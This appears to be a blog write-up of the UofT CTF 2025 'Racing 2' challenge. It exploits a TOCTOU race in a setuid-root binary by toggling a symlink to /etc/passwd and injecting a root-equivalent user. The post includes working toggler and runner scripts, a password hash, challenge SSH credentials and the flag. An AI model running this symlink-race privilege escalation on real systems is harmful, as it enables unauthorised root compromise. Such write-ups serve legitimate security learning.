Racing 2: UofT CTF 2025

03-29-2025

Introduction

This weekend, I played UoftCTF 2025, a CTF competition run by the University of Toronto Capture the Flag Team, with my college team, Psi Beta Rho.

I solved an interesting challenge called “Racing 2”, relating to a critical vulnerability in rsync that was recently discovered. This writeup will walk through my process of solving “Racing 2.”

The challenge provided the following:

SSH Access:

ssh user@34.19.76.234 -p 2222  
Password: racing-chals

A C Program (chal.c):

int main(int argc, char **argv)
{
    char *fn = "/home/user/permitted";
    char buffer[128];
    FILE *fp;

    if (!access(fn, W_OK))
    {
        printf("Enter text to write: ");
        scanf("%100s", buffer);
        fp = fopen(fn, "w");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
        return 0;
    }
    else
    {
        printf("Cannot write to file.\n");
        return 1;
    }
}

Hint:
I just watched Cars 2, and it's a lot cooler. But hey, you thought you could get the flag by reading a file? Think again.


Environment

After logging into the provided SSH environment, I did some initial exploration with basic Linux commands like ls -l and cat.

The root directory contained several standard Linux folders and a few interesting files:

  • /challenge: A directory containing the chal binary and its source code (chal.c).
  • /flag.txt: A root-owned file with restricted read permissions (-r--------), containing the flag.

The chal Binary:
This binary had the setuid root (-rwsr-xr-x) property, meaning it executed with root privileges regardless of the user running it.
Running the binary without modification resulted in an error: Cannot write to file.
We could probably run exploit scripts in /tmp because it's writable.
The goal was to retrieve the flag located in /flag.txt, but the flag was only readable by root. The chal binary, since it was setuid root, was the key to achieving this.


Initial Thoughts

The chal.c program had a time-of-check-to-time-of-use (TOCTOU) vulnerability:

  • It checked if /home/user/permitted was writable using access(fn, W_OK).
  • After confirming writability, it opened the file for writing (fopen(fn, "w")).

I realized I could exploit this vulnerability by swapping /home/user/permitted with a symbolic link to a different file, after the access() check but before the fopen() call.


Plan for Exploitation

My strategy was to exploit the race condition to overwrite /etc/passwd, the file that stores system user accounts. Basically, I would write a script to rapidly toggle /home/user/permitted between a writable dummy file (/tmp/legitimate) and /etc/passwd. By injecting a new root-equivalent user into /etc/passwd, I could log in as root and read /flag.txt.


Process

1. Environment

I created a a writable dummy file and the toggler script:

echo "safe content" > /tmp/legitimate

echo 'while true; do 
  ln -sf /tmp/legitimate /home/user/permitted
  ln -sf /etc/passwd /home/user/permitted
done' > /tmp/toggler.sh

chmod +x /tmp/toggler.sh

2. I generated a password hash for a new root user:

openssl passwd -1 -salt xyz pass

Example output:

$1$xyz$E2BtqrT11oQN8kmxYoxsp1

3. Write the runner script to inject the root user entry into /etc/passwd:

echo 'while true; do 
  printf "myrootuser:$1$xyz$E2BtqrT11oQN8kmxYoxsp1:0:0:root:/root:/bin/bash\n" | /challenge/chal
done' > /tmp/runner.sh

chmod +x /tmp/runner.sh

4. Run the toggler script in the background and execute the runner script:

/tmp/toggler.sh &
/tmp/runner.sh

This is the racing part! This combination rapidly toggled the symlink and attempted to write the root user entry to /etc/passwd.

5. After letting the scripts run for about 30 seconds, I stopped them:

ps aux | grep toggler.sh
kill -9 <PID>

I checked to make sure /etc/passwd contained my new user.

cat /etc/passwd

The new entry was successfully written:

myrootuser:$1$xyz$E2BtqrT11oQN8kmxYoxsp1:0:0:root:/root:/bin/bash

6. I switched to the new root user:

su myrootuser

And entered my set password, pass

7. Read the Flag

cat /flag.txt

Flag:

uoftctf{f1nn_mcm155113_15_my_f4v0r173_ch4r4c73r}

TLDR:

  • The TOCTOU vulnerability allowed manipulation of the file path used for writing.
  • By timing the symlink toggle, we tricked the program into overwriting /etc/passwd.

Overall, this challenge was a fun way to use my knowledge of Linux and learn how exactly race condition vulnerabilities in programs can lead to a full root compromise. Thanks to the Uoft CTF team for putting it together!